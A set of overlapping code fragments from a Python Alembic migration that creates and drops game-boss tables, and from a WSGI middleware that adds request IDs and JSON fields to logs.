"op.drop_index(op.f('ix_bossteam_hero'), table_name='bossteam') op.drop_index(op.f('ix_bossteam_damage'), table_name='bossteam') op.drop_table('bossteam') op.drop_index(op.f('ix_boss_base_nameSafe'), table_name='boss_base') op.drop_index(op.f('ix_boss_base_name'), table_name='boss_base') op.drop_table('boss_base') # ### end",
"= '<KEY>' branch_labels = None depends_on = None def upgrade(): # ### commands",
"nullable=False), sa.Column('name', sa.String(length=32), nullable=True), sa.Column('nameSafe', sa.String(length=32), nullable=True), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_boss_base_name'), 'boss_base', ['name'], unique=True)",
"def upgrade(): # ### commands auto generated by Alembic - please adjust! ###",
"by Alembic - please adjust! ### op.drop_index(op.f('ix_bossteam_hero'), table_name='bossteam') op.drop_index(op.f('ix_bossteam_damage'), table_name='bossteam') op.drop_table('bossteam') op.drop_index(op.f('ix_boss_base_nameSafe'), table_name='boss_base')",
"'boss_base', ['nameSafe'], unique=True) op.create_table('bossteam', sa.Column('id', sa.Integer(), nullable=False), sa.Column('hero', sa.String(length=16), nullable=True), sa.Column('damage', sa.Integer(), nullable=True),",
"sa.Column('id', sa.Integer(), nullable=False), sa.Column('hero', sa.String(length=16), nullable=True), sa.Column('damage', sa.Integer(), nullable=True), sa.Column('user_id', sa.Integer(), nullable=True), sa.Column('bossbase_id',",
"op.create_index(op.f('ix_bossteam_hero'), 'bossteam', ['hero'], unique=False) # ### end Alembic commands ### def downgrade(): #",
"sa.Integer(), nullable=False), sa.Column('hero', sa.String(length=16), nullable=True), sa.Column('damage', sa.Integer(), nullable=True), sa.Column('user_id', sa.Integer(), nullable=True), sa.Column('bossbase_id', sa.Integer(),",
"### commands auto generated by Alembic - please adjust! ### op.drop_index(op.f('ix_bossteam_hero'), table_name='bossteam') op.drop_index(op.f('ix_bossteam_damage'),",
"commands ### def downgrade(): # ### commands auto generated by Alembic - please",
"['user.id'], ), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_bossteam_damage'), 'bossteam', ['damage'], unique=False) op.create_index(op.f('ix_bossteam_hero'), 'bossteam', ['hero'], unique=False) #",
"'<KEY>' branch_labels = None depends_on = None def upgrade(): # ### commands auto",
"by Alembic - please adjust! ### op.create_table('boss_base', sa.Column('id', sa.Integer(), nullable=False), sa.Column('name', sa.String(length=32), nullable=True),",
"sa.Column('hero', sa.String(length=16), nullable=True), sa.Column('damage', sa.Integer(), nullable=True), sa.Column('user_id', sa.Integer(), nullable=True), sa.Column('bossbase_id', sa.Integer(), nullable=True), sa.ForeignKeyConstraint(['bossbase_id'],",
"revision identifiers, used by Alembic. revision = '8fb490efb894' down_revision = '<KEY>' branch_labels =",
"Alembic. revision = '8fb490efb894' down_revision = '<KEY>' branch_labels = None depends_on = None",
"'bossteam', ['hero'], unique=False) # ### end Alembic commands ### def downgrade(): # ###",
"please adjust! ### op.drop_index(op.f('ix_bossteam_hero'), table_name='bossteam') op.drop_index(op.f('ix_bossteam_damage'), table_name='bossteam') op.drop_table('bossteam') op.drop_index(op.f('ix_boss_base_nameSafe'), table_name='boss_base') op.drop_index(op.f('ix_boss_base_name'), table_name='boss_base') op.drop_table('boss_base')",
"= None depends_on = None def upgrade(): # ### commands auto generated by",
"nullable=True), sa.Column('damage', sa.Integer(), nullable=True), sa.Column('user_id', sa.Integer(), nullable=True), sa.Column('bossbase_id', sa.Integer(), nullable=True), sa.ForeignKeyConstraint(['bossbase_id'], ['boss_base.id'], ),",
"sa.Column('user_id', sa.Integer(), nullable=True), sa.Column('bossbase_id', sa.Integer(), nullable=True), sa.ForeignKeyConstraint(['bossbase_id'], ['boss_base.id'], ), sa.ForeignKeyConstraint(['user_id'], ['user.id'], ), sa.PrimaryKeyConstraint('id')",
"### commands auto generated by Alembic - please adjust! ### op.create_table('boss_base', sa.Column('id', sa.Integer(),",
"adjust! ### op.drop_index(op.f('ix_bossteam_hero'), table_name='bossteam') op.drop_index(op.f('ix_bossteam_damage'), table_name='bossteam') op.drop_table('bossteam') op.drop_index(op.f('ix_boss_base_nameSafe'), table_name='boss_base') op.drop_index(op.f('ix_boss_base_name'), table_name='boss_base') op.drop_table('boss_base') #",
"'8fb490efb894' down_revision = '<KEY>' branch_labels = None depends_on = None def upgrade(): #",
"'bossteam', ['damage'], unique=False) op.create_index(op.f('ix_bossteam_hero'), 'bossteam', ['hero'], unique=False) # ### end Alembic commands ###",
"# ### commands auto generated by Alembic - please adjust! ### op.create_table('boss_base', sa.Column('id',",
"sa.String(length=32), nullable=True), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_boss_base_name'), 'boss_base', ['name'], unique=True) op.create_index(op.f('ix_boss_base_nameSafe'), 'boss_base', ['nameSafe'], unique=True) op.create_table('bossteam',",
"= None def upgrade(): # ### commands auto generated by Alembic - please",
"as sa # revision identifiers, used by Alembic. revision = '8fb490efb894' down_revision =",
"unique=False) # ### end Alembic commands ### def downgrade(): # ### commands auto",
"sa.Column('damage', sa.Integer(), nullable=True), sa.Column('user_id', sa.Integer(), nullable=True), sa.Column('bossbase_id', sa.Integer(), nullable=True), sa.ForeignKeyConstraint(['bossbase_id'], ['boss_base.id'], ), sa.ForeignKeyConstraint(['user_id'],",
"commands auto generated by Alembic - please adjust! ### op.drop_index(op.f('ix_bossteam_hero'), table_name='bossteam') op.drop_index(op.f('ix_bossteam_damage'), table_name='bossteam')",
"upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.create_table('boss_base',",
"<KEY> Create Date: 2020-06-15 20:33:31.609050 \"\"\" from alembic import op import sqlalchemy as",
"Alembic - please adjust! ### op.drop_index(op.f('ix_bossteam_hero'), table_name='bossteam') op.drop_index(op.f('ix_bossteam_damage'), table_name='bossteam') op.drop_table('bossteam') op.drop_index(op.f('ix_boss_base_nameSafe'), table_name='boss_base') op.drop_index(op.f('ix_boss_base_name'),",
"table_name='bossteam') op.drop_index(op.f('ix_bossteam_damage'), table_name='bossteam') op.drop_table('bossteam') op.drop_index(op.f('ix_boss_base_nameSafe'), table_name='boss_base') op.drop_index(op.f('ix_boss_base_name'), table_name='boss_base') op.drop_table('boss_base') # ### end Alembic",
"sa.Column('id', sa.Integer(), nullable=False), sa.Column('name', sa.String(length=32), nullable=True), sa.Column('nameSafe', sa.String(length=32), nullable=True), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_boss_base_name'), 'boss_base',",
"None def upgrade(): # ### commands auto generated by Alembic - please adjust!",
"depends_on = None def upgrade(): # ### commands auto generated by Alembic -",
"), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_bossteam_damage'), 'bossteam', ['damage'], unique=False) op.create_index(op.f('ix_bossteam_hero'), 'bossteam', ['hero'], unique=False) # ###",
"Create Date: 2020-06-15 20:33:31.609050 \"\"\" from alembic import op import sqlalchemy as sa",
"adjust! ### op.create_table('boss_base', sa.Column('id', sa.Integer(), nullable=False), sa.Column('name', sa.String(length=32), nullable=True), sa.Column('nameSafe', sa.String(length=32), nullable=True), sa.PrimaryKeyConstraint('id')",
"nullable=True), sa.Column('bossbase_id', sa.Integer(), nullable=True), sa.ForeignKeyConstraint(['bossbase_id'], ['boss_base.id'], ), sa.ForeignKeyConstraint(['user_id'], ['user.id'], ), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_bossteam_damage'),",
"auto generated by Alembic - please adjust! ### op.create_table('boss_base', sa.Column('id', sa.Integer(), nullable=False), sa.Column('name',",
"# ### end Alembic commands ### def downgrade(): # ### commands auto generated",
"please adjust! ### op.create_table('boss_base', sa.Column('id', sa.Integer(), nullable=False), sa.Column('name', sa.String(length=32), nullable=True), sa.Column('nameSafe', sa.String(length=32), nullable=True),",
"unique=False) op.create_index(op.f('ix_bossteam_hero'), 'bossteam', ['hero'], unique=False) # ### end Alembic commands ### def downgrade():",
"# revision identifiers, used by Alembic. revision = '8fb490efb894' down_revision = '<KEY>' branch_labels",
"ID: 8fb490efb894 Revises: <KEY> Create Date: 2020-06-15 20:33:31.609050 \"\"\" from alembic import op",
"nullable=False), sa.Column('hero', sa.String(length=16), nullable=True), sa.Column('damage', sa.Integer(), nullable=True), sa.Column('user_id', sa.Integer(), nullable=True), sa.Column('bossbase_id', sa.Integer(), nullable=True),",
"Revision ID: 8fb490efb894 Revises: <KEY> Create Date: 2020-06-15 20:33:31.609050 \"\"\" from alembic import",
"from alembic import op import sqlalchemy as sa # revision identifiers, used by",
"message Revision ID: 8fb490efb894 Revises: <KEY> Create Date: 2020-06-15 20:33:31.609050 \"\"\" from alembic",
"- please adjust! ### op.drop_index(op.f('ix_bossteam_hero'), table_name='bossteam') op.drop_index(op.f('ix_bossteam_damage'), table_name='bossteam') op.drop_table('bossteam') op.drop_index(op.f('ix_boss_base_nameSafe'), table_name='boss_base') op.drop_index(op.f('ix_boss_base_name'), table_name='boss_base')",
"sa.ForeignKeyConstraint(['user_id'], ['user.id'], ), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_bossteam_damage'), 'bossteam', ['damage'], unique=False) op.create_index(op.f('ix_bossteam_hero'), 'bossteam', ['hero'], unique=False)",
"### end Alembic commands ### def downgrade(): # ### commands auto generated by",
"downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_index(op.f('ix_bossteam_hero'),",
"### op.drop_index(op.f('ix_bossteam_hero'), table_name='bossteam') op.drop_index(op.f('ix_bossteam_damage'), table_name='bossteam') op.drop_table('bossteam') op.drop_index(op.f('ix_boss_base_nameSafe'), table_name='boss_base') op.drop_index(op.f('ix_boss_base_name'), table_name='boss_base') op.drop_table('boss_base') # ###",
"2020-06-15 20:33:31.609050 \"\"\" from alembic import op import sqlalchemy as sa # revision",
"['name'], unique=True) op.create_index(op.f('ix_boss_base_nameSafe'), 'boss_base', ['nameSafe'], unique=True) op.create_table('bossteam', sa.Column('id', sa.Integer(), nullable=False), sa.Column('hero', sa.String(length=16), nullable=True),",
"- please adjust! ### op.create_table('boss_base', sa.Column('id', sa.Integer(), nullable=False), sa.Column('name', sa.String(length=32), nullable=True), sa.Column('nameSafe', sa.String(length=32),",
"['boss_base.id'], ), sa.ForeignKeyConstraint(['user_id'], ['user.id'], ), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_bossteam_damage'), 'bossteam', ['damage'], unique=False) op.create_index(op.f('ix_bossteam_hero'), 'bossteam',",
"['damage'], unique=False) op.create_index(op.f('ix_bossteam_hero'), 'bossteam', ['hero'], unique=False) # ### end Alembic commands ### def",
"sa.String(length=32), nullable=True), sa.Column('nameSafe', sa.String(length=32), nullable=True), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_boss_base_name'), 'boss_base', ['name'], unique=True) op.create_index(op.f('ix_boss_base_nameSafe'), 'boss_base',"
] |
[
"tweet.full_text if (len(self.body) == 0): self.body = '...' self.score = 0 class Author:",
"= '...' self.score = 0 class Author: def __init__(self, name): self.name = name",
"Author(tweet.user.name) self.body = tweet.full_text if (len(self.body) == 0): self.body = '...' self.score =",
"= tweet.full_text if (len(self.body) == 0): self.body = '...' self.score = 0 class",
"if (len(self.body) == 0): self.body = '...' self.score = 0 class Author: def",
"def __init__(self, tweet): self.author = Author(tweet.user.name) self.body = tweet.full_text if (len(self.body) == 0):",
"self.body = tweet.full_text if (len(self.body) == 0): self.body = '...' self.score = 0",
"Comment: def __init__(self, tweet): self.author = Author(tweet.user.name) self.body = tweet.full_text if (len(self.body) ==",
"tweet): self.author = Author(tweet.user.name) self.body = tweet.full_text if (len(self.body) == 0): self.body =",
"== 0): self.body = '...' self.score = 0 class Author: def __init__(self, name):",
"self.author = Author(tweet.user.name) self.body = tweet.full_text if (len(self.body) == 0): self.body = '...'",
"self.body = '...' self.score = 0 class Author: def __init__(self, name): self.name =",
"class Comment: def __init__(self, tweet): self.author = Author(tweet.user.name) self.body = tweet.full_text if (len(self.body)",
"= Author(tweet.user.name) self.body = tweet.full_text if (len(self.body) == 0): self.body = '...' self.score",
"__init__(self, tweet): self.author = Author(tweet.user.name) self.body = tweet.full_text if (len(self.body) == 0): self.body",
"0): self.body = '...' self.score = 0 class Author: def __init__(self, name): self.name",
"(len(self.body) == 0): self.body = '...' self.score = 0 class Author: def __init__(self,"
] |
[
"'\"\"') extra = {\"request_id\": request_id} token = None if LOG_TOKENS: try: auth_header =",
"== __name__ and 'environ' in frame[0].f_locals: environ = frame[0].f_locals['environ'] _req = environ.get(wsgi_header, None)",
"= environ.get(self.wsgi_header_key, '\"\"') extra = {\"request_id\": request_id} token = None if LOG_TOKENS: try:",
"request Ids in downstream requests \"\"\" import logging import re import traceback import",
"\"\"\" _req = None wsgi_header = \"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() try: for frame in",
"message_dict): super(RequestIdJsonLogFormatter, self).add_fields(log_record, record, message_dict) if not log_record.get('timestamp'): # this doesn't use record.created,",
"Exception: # No exception log, requst missing token pass adpater = logging.LoggerAdapter(logger, extra=extra)",
"start_response): def custom_start_response(status, headers, exc_info=None): # append whatever headers you need here FACTS",
"= log_record['level'].upper() else: log_record['level'] = record.levelname if not log_record.get('name'): log_record['name'] = record.name if",
"in int he response headers \"\"\" def __init__(self, app, header_name: str = None):",
"return True def get_current_request_id(self): _req = current_request_id() if _req: request_id = _req else:",
"Exception: pass return _req class RequestIdFilter(logging.Filter): \"\"\" Logger filter to add a `{request_id}`",
"pass return _req class RequestIdFilter(logging.Filter): \"\"\" Logger filter to add a `{request_id}` logger",
"self.header_name = header_name if not self.header_name: self.header_name = REQUEST_ID_HEADER_NAME self.wsgi_header_key = make_wsgi_header_key(self.header_name) self.app",
"LOG_TOKENS: try: auth_header = environ.get(\"HTTP_AUTHORIZATION\", None) token = re.sub(r\"\\W\", \"\", auth_header.lstrip(\"Bearer\")) if token:",
"wsgi_header = \"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() return wsgi_header class RequestIdMiddleware(object): \"\"\" This middleware add",
"exc_info=None): # append whatever headers you need here FACTS = [ environ.get(\"HTTP_HOST\", \"\"),",
"= record.levelname if not log_record.get('name'): log_record['name'] = record.name if not log_record.get('threadName'): log_record['threadName'] =",
"\"\"), environ.get(\"SERVER_PROTOCOL\", \"\"), status ] message = \" | \".join(FACTS) request_id = environ.get(self.wsgi_header_key,",
"def __init__(self, header_name=REQUEST_ID_HEADER_NAME, *args, **kwargs): self.header_name = header_name self.wsgi_header_key = \"HTTP_\" + self.header_name.replace(\"-\",\"_\").upper()",
"and logging filter to add request ids to logs and forward request Ids",
"add_fields(self, log_record, record, message_dict): super(RequestIdJsonLogFormatter, self).add_fields(log_record, record, message_dict) if not log_record.get('timestamp'): # this",
"REQUEST_ID_HEADER_NAME self.wsgi_header_key = make_wsgi_header_key(self.header_name) self.app = app def __call__(self, environ, start_response): def custom_start_response(status,",
"self.wsgi_header_key = make_wsgi_header_key(self.header_name) self.app = app def __call__(self, environ, start_response): def custom_start_response(status, headers,",
"append whatever headers you need here FACTS = [ environ.get(\"HTTP_HOST\", \"\"), environ.get(\"REQUEST_METHOD\", \"\"),",
"environ.get(\"SERVER_PROTOCOL\", \"\"), status ] message = \" | \".join(FACTS) request_id = environ.get(self.wsgi_header_key, '\"\"')",
"in traceback.walk_stack(None): if getattr(frame[0], 'f_globals', None) and getattr(frame[0], 'f_locals', None): if frame[0].f_globals.get('__name__', None)",
"_req class RequestIdFilter(logging.Filter): \"\"\" Logger filter to add a `{request_id}` logger variable tot",
"request_id,)) return start_response(status, headers, exc_info) return self.app(environ, custom_start_response) def current_request_id(): \"\"\" Retrives the",
"\"\"), status ] message = \" | \".join(FACTS) request_id = environ.get(self.wsgi_header_key, '\"\"') extra",
"getattr(frame[0], 'f_locals', None): if frame[0].f_globals.get('__name__', None) == __name__ and 'environ' in frame[0].f_locals: environ",
"adpater = logging.LoggerAdapter(logger, extra=extra) adpater.info(message) headers.append((self.header_name, request_id,)) return start_response(status, headers, exc_info) return self.app(environ,",
"def add_fields(self, log_record, record, message_dict): super(RequestIdJsonLogFormatter, self).add_fields(log_record, record, message_dict) if not log_record.get('timestamp'): #",
"= environ.get(\"HTTP_AUTHORIZATION\", None) token = re.sub(r\"\\W\", \"\", auth_header.lstrip(\"Bearer\")) if token: extra.update({\"token\": token}) except",
"**kwargs) def filter(self, record): record.request_id = self.get_current_request_id() return True def get_current_request_id(self): _req =",
"call stack \"\"\" _req = None wsgi_header = \"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() try: for",
"= app def __call__(self, environ, start_response): def custom_start_response(status, headers, exc_info=None): # append whatever",
"class RequestIdFilter(logging.Filter): \"\"\" Logger filter to add a `{request_id}` logger variable tot he",
"logging import re import traceback import datetime import pythonjsonlogger import pythonjsonlogger.jsonlogger import wsgi_microservice_middleware",
"logging context \"\"\" def __init__(self, header_name=REQUEST_ID_HEADER_NAME, *args, **kwargs): self.header_name = header_name self.wsgi_header_key =",
"except Exception: pass return _req class RequestIdFilter(logging.Filter): \"\"\" Logger filter to add a",
"import pythonjsonlogger.jsonlogger import wsgi_microservice_middleware logger = logging.getLogger(__name__) REQUEST_ID_HEADER_NAME = wsgi_microservice_middleware.env.str(\"REQUEST_ID_HEADER\", \"X-Request-Id\") LOG_TOKENS =",
"import wsgi_microservice_middleware logger = logging.getLogger(__name__) REQUEST_ID_HEADER_NAME = wsgi_microservice_middleware.env.str(\"REQUEST_ID_HEADER\", \"X-Request-Id\") LOG_TOKENS = wsgi_microservice_middleware.env.bool(\"LOG_TOKENS\", True)",
"logging.getLogger(__name__) REQUEST_ID_HEADER_NAME = wsgi_microservice_middleware.env.str(\"REQUEST_ID_HEADER\", \"X-Request-Id\") LOG_TOKENS = wsgi_microservice_middleware.env.bool(\"LOG_TOKENS\", True) def make_wsgi_header_key(header: str): wsgi_header",
"RequestIdJsonLogFormatter(pythonjsonlogger.jsonlogger.JsonFormatter): def add_fields(self, log_record, record, message_dict): super(RequestIdJsonLogFormatter, self).add_fields(log_record, record, message_dict) if not log_record.get('timestamp'):",
"he response headers \"\"\" def __init__(self, app, header_name: str = None): self.header_name =",
"request id from the wsgi `environ` buried in the call stack \"\"\" _req",
"RequestIdFilter(logging.Filter): \"\"\" Logger filter to add a `{request_id}` logger variable tot he logging",
"wsgi_microservice_middleware.env.str(\"REQUEST_ID_HEADER\", \"X-Request-Id\") LOG_TOKENS = wsgi_microservice_middleware.env.bool(\"LOG_TOKENS\", True) def make_wsgi_header_key(header: str): wsgi_header = \"HTTP_\" +",
"__init__(self, header_name=REQUEST_ID_HEADER_NAME, *args, **kwargs): self.header_name = header_name self.wsgi_header_key = \"HTTP_\" + self.header_name.replace(\"-\",\"_\").upper() super().__init__(*args,",
"[ environ.get(\"HTTP_HOST\", \"\"), environ.get(\"REQUEST_METHOD\", \"\"), environ.get(\"RAW_URI\", \"\"), environ.get(\"SERVER_PROTOCOL\", \"\"), status ] message =",
"downstream requests \"\"\" import logging import re import traceback import datetime import pythonjsonlogger",
"if getattr(frame[0], 'f_globals', None) and getattr(frame[0], 'f_locals', None): if frame[0].f_globals.get('__name__', None) == __name__",
"\"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() return wsgi_header class RequestIdMiddleware(object): \"\"\" This middleware add access log-style",
"except Exception: # No exception log, requst missing token pass adpater = logging.LoggerAdapter(logger,",
"pass adpater = logging.LoggerAdapter(logger, extra=extra) adpater.info(message) headers.append((self.header_name, request_id,)) return start_response(status, headers, exc_info) return",
"log_record.get('level'): log_record['level'] = log_record['level'].upper() else: log_record['level'] = record.levelname if not log_record.get('name'): log_record['name'] =",
"self.wsgi_header_key = \"HTTP_\" + self.header_name.replace(\"-\",\"_\").upper() super().__init__(*args, **kwargs) def filter(self, record): record.request_id = self.get_current_request_id()",
"request ids to logs and forward request Ids in downstream requests \"\"\" import",
"log-style record with a request id and includes the request Id in int",
"Middleware and logging filter to add request ids to logs and forward request",
"wsgi `environ` buried in the call stack \"\"\" _req = None wsgi_header =",
"frame[0].f_locals: environ = frame[0].f_locals['environ'] _req = environ.get(wsgi_header, None) break except Exception: pass return",
"id from the wsgi `environ` buried in the call stack \"\"\" _req =",
"middleware add access log-style record with a request id and includes the request",
"= now if log_record.get('level'): log_record['level'] = log_record['level'].upper() else: log_record['level'] = record.levelname if not",
"the wsgi `environ` buried in the call stack \"\"\" _req = None wsgi_header",
"message_dict) if not log_record.get('timestamp'): # this doesn't use record.created, so it is slightly",
"+ REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() try: for frame in traceback.walk_stack(None): if getattr(frame[0], 'f_globals', None) and getattr(frame[0],",
"frame[0].f_locals['environ'] _req = environ.get(wsgi_header, None) break except Exception: pass return _req class RequestIdFilter(logging.Filter):",
"import datetime import pythonjsonlogger import pythonjsonlogger.jsonlogger import wsgi_microservice_middleware logger = logging.getLogger(__name__) REQUEST_ID_HEADER_NAME =",
"is slightly off now = datetime.datetime.utcnow().astimezone(tz=datetime.timezone.utc).isoformat() log_record['timestamp'] = now if log_record.get('level'): log_record['level'] =",
"logger variable tot he logging context \"\"\" def __init__(self, header_name=REQUEST_ID_HEADER_NAME, *args, **kwargs): self.header_name",
"traceback.walk_stack(None): if getattr(frame[0], 'f_globals', None) and getattr(frame[0], 'f_locals', None): if frame[0].f_globals.get('__name__', None) ==",
"to add a `{request_id}` logger variable tot he logging context \"\"\" def __init__(self,",
"__init__(self, app, header_name: str = None): self.header_name = header_name if not self.header_name: self.header_name",
"and includes the request Id in int he response headers \"\"\" def __init__(self,",
"if token: extra.update({\"token\": token}) except Exception: # No exception log, requst missing token",
"request_id} token = None if LOG_TOKENS: try: auth_header = environ.get(\"HTTP_AUTHORIZATION\", None) token =",
"return request_id class RequestIdJsonLogFormatter(pythonjsonlogger.jsonlogger.JsonFormatter): def add_fields(self, log_record, record, message_dict): super(RequestIdJsonLogFormatter, self).add_fields(log_record, record, message_dict)",
"= frame[0].f_locals['environ'] _req = environ.get(wsgi_header, None) break except Exception: pass return _req class",
"headers, exc_info=None): # append whatever headers you need here FACTS = [ environ.get(\"HTTP_HOST\",",
"self.header_name = header_name self.wsgi_header_key = \"HTTP_\" + self.header_name.replace(\"-\",\"_\").upper() super().__init__(*args, **kwargs) def filter(self, record):",
"str = None): self.header_name = header_name if not self.header_name: self.header_name = REQUEST_ID_HEADER_NAME self.wsgi_header_key",
"request_id = _req else: request_id = \"\" return request_id class RequestIdJsonLogFormatter(pythonjsonlogger.jsonlogger.JsonFormatter): def add_fields(self,",
"and getattr(frame[0], 'f_locals', None): if frame[0].f_globals.get('__name__', None) == __name__ and 'environ' in frame[0].f_locals:",
"*args, **kwargs): self.header_name = header_name self.wsgi_header_key = \"HTTP_\" + self.header_name.replace(\"-\",\"_\").upper() super().__init__(*args, **kwargs) def",
"record): record.request_id = self.get_current_request_id() return True def get_current_request_id(self): _req = current_request_id() if _req:",
"filter(self, record): record.request_id = self.get_current_request_id() return True def get_current_request_id(self): _req = current_request_id() if",
"Ids in downstream requests \"\"\" import logging import re import traceback import datetime",
"= [ environ.get(\"HTTP_HOST\", \"\"), environ.get(\"REQUEST_METHOD\", \"\"), environ.get(\"RAW_URI\", \"\"), environ.get(\"SERVER_PROTOCOL\", \"\"), status ] message",
"environ.get(\"RAW_URI\", \"\"), environ.get(\"SERVER_PROTOCOL\", \"\"), status ] message = \" | \".join(FACTS) request_id =",
"now = datetime.datetime.utcnow().astimezone(tz=datetime.timezone.utc).isoformat() log_record['timestamp'] = now if log_record.get('level'): log_record['level'] = log_record['level'].upper() else: log_record['level']",
"self.get_current_request_id() return True def get_current_request_id(self): _req = current_request_id() if _req: request_id = _req",
"if LOG_TOKENS: try: auth_header = environ.get(\"HTTP_AUTHORIZATION\", None) token = re.sub(r\"\\W\", \"\", auth_header.lstrip(\"Bearer\")) if",
"\"\"\" def __init__(self, header_name=REQUEST_ID_HEADER_NAME, *args, **kwargs): self.header_name = header_name self.wsgi_header_key = \"HTTP_\" +",
"the call stack \"\"\" _req = None wsgi_header = \"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() try:",
"_req: request_id = _req else: request_id = \"\" return request_id class RequestIdJsonLogFormatter(pythonjsonlogger.jsonlogger.JsonFormatter): def",
"'f_globals', None) and getattr(frame[0], 'f_locals', None): if frame[0].f_globals.get('__name__', None) == __name__ and 'environ'",
"custom_start_response(status, headers, exc_info=None): # append whatever headers you need here FACTS = [",
"log_record['timestamp'] = now if log_record.get('level'): log_record['level'] = log_record['level'].upper() else: log_record['level'] = record.levelname if",
"None wsgi_header = \"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() try: for frame in traceback.walk_stack(None): if getattr(frame[0],",
"header_name=REQUEST_ID_HEADER_NAME, *args, **kwargs): self.header_name = header_name self.wsgi_header_key = \"HTTP_\" + self.header_name.replace(\"-\",\"_\").upper() super().__init__(*args, **kwargs)",
"headers \"\"\" def __init__(self, app, header_name: str = None): self.header_name = header_name if",
"and 'environ' in frame[0].f_locals: environ = frame[0].f_locals['environ'] _req = environ.get(wsgi_header, None) break except",
"context \"\"\" def __init__(self, header_name=REQUEST_ID_HEADER_NAME, *args, **kwargs): self.header_name = header_name self.wsgi_header_key = \"HTTP_\"",
"Id in int he response headers \"\"\" def __init__(self, app, header_name: str =",
"record.created, so it is slightly off now = datetime.datetime.utcnow().astimezone(tz=datetime.timezone.utc).isoformat() log_record['timestamp'] = now if",
"from the wsgi `environ` buried in the call stack \"\"\" _req = None",
"return _req class RequestIdFilter(logging.Filter): \"\"\" Logger filter to add a `{request_id}` logger variable",
"wsgi_microservice_middleware logger = logging.getLogger(__name__) REQUEST_ID_HEADER_NAME = wsgi_microservice_middleware.env.str(\"REQUEST_ID_HEADER\", \"X-Request-Id\") LOG_TOKENS = wsgi_microservice_middleware.env.bool(\"LOG_TOKENS\", True) def",
"headers.append((self.header_name, request_id,)) return start_response(status, headers, exc_info) return self.app(environ, custom_start_response) def current_request_id(): \"\"\" Retrives",
"log_record['level'].upper() else: log_record['level'] = record.levelname if not log_record.get('name'): log_record['name'] = record.name if not",
"app, header_name: str = None): self.header_name = header_name if not self.header_name: self.header_name =",
"\"\"\" Retrives the current request id from the wsgi `environ` buried in the",
"he logging context \"\"\" def __init__(self, header_name=REQUEST_ID_HEADER_NAME, *args, **kwargs): self.header_name = header_name self.wsgi_header_key",
"now if log_record.get('level'): log_record['level'] = log_record['level'].upper() else: log_record['level'] = record.levelname if not log_record.get('name'):",
"you need here FACTS = [ environ.get(\"HTTP_HOST\", \"\"), environ.get(\"REQUEST_METHOD\", \"\"), environ.get(\"RAW_URI\", \"\"), environ.get(\"SERVER_PROTOCOL\",",
"missing token pass adpater = logging.LoggerAdapter(logger, extra=extra) adpater.info(message) headers.append((self.header_name, request_id,)) return start_response(status, headers,",
"\".join(FACTS) request_id = environ.get(self.wsgi_header_key, '\"\"') extra = {\"request_id\": request_id} token = None if",
"if _req: request_id = _req else: request_id = \"\" return request_id class RequestIdJsonLogFormatter(pythonjsonlogger.jsonlogger.JsonFormatter):",
"= \"HTTP_\" + REQUEST_ID_HEADER_NAME.replace(\"-\",\"_\").upper() try: for frame in traceback.walk_stack(None): if getattr(frame[0], 'f_globals', None)",
"= None): self.header_name = header_name if not self.header_name: self.header_name = REQUEST_ID_HEADER_NAME self.wsgi_header_key =",
"log_record, record, message_dict): super(RequestIdJsonLogFormatter, self).add_fields(log_record, record, message_dict) if not log_record.get('timestamp'): # this doesn't",
"token = re.sub(r\"\\W\", \"\", auth_header.lstrip(\"Bearer\")) if token: extra.update({\"token\": token}) except Exception: # No",
"__name__ and 'environ' in frame[0].f_locals: environ = frame[0].f_locals['environ'] _req = environ.get(wsgi_header, None) break",
"_req = current_request_id() if _req: request_id = _req else: request_id = \"\" return",
"RequestIdMiddleware(object): \"\"\" This middleware add access log-style record with a request id and",
"= environ.get(wsgi_header, None) break except Exception: pass return _req class RequestIdFilter(logging.Filter): \"\"\" Logger",
"def custom_start_response(status, headers, exc_info=None): # append whatever headers you need here FACTS =",
"= header_name if not self.header_name: self.header_name = REQUEST_ID_HEADER_NAME self.wsgi_header_key = make_wsgi_header_key(self.header_name) self.app =",
"includes the request Id in int he response headers \"\"\" def __init__(self, app,",
"return self.app(environ, custom_start_response) def current_request_id(): \"\"\" Retrives the current request id from the",
"request_id class RequestIdJsonLogFormatter(pythonjsonlogger.jsonlogger.JsonFormatter): def add_fields(self, log_record, record, message_dict): super(RequestIdJsonLogFormatter, self).add_fields(log_record, record, message_dict) if",
"here FACTS = [ environ.get(\"HTTP_HOST\", \"\"), environ.get(\"REQUEST_METHOD\", \"\"), environ.get(\"RAW_URI\", \"\"), environ.get(\"SERVER_PROTOCOL\", \"\"), status",
"a `{request_id}` logger variable tot he logging context \"\"\" def __init__(self, header_name=REQUEST_ID_HEADER_NAME, *args,",
"= \" | \".join(FACTS) request_id = environ.get(self.wsgi_header_key, '\"\"') extra = {\"request_id\": request_id} token",
"+ self.header_name.replace(\"-\",\"_\").upper() super().__init__(*args, **kwargs) def filter(self, record): record.request_id = self.get_current_request_id() return True def",
"filter to add request ids to logs and forward request Ids in downstream",
"pythonjsonlogger.jsonlogger import wsgi_microservice_middleware logger = logging.getLogger(__name__) REQUEST_ID_HEADER_NAME = wsgi_microservice_middleware.env.str(\"REQUEST_ID_HEADER\", \"X-Request-Id\") LOG_TOKENS = wsgi_microservice_middleware.env.bool(\"LOG_TOKENS\",",
"the request Id in int he response headers \"\"\" def __init__(self, app, header_name:",
"\"\"\" Middleware and logging filter to add request ids to logs and forward",
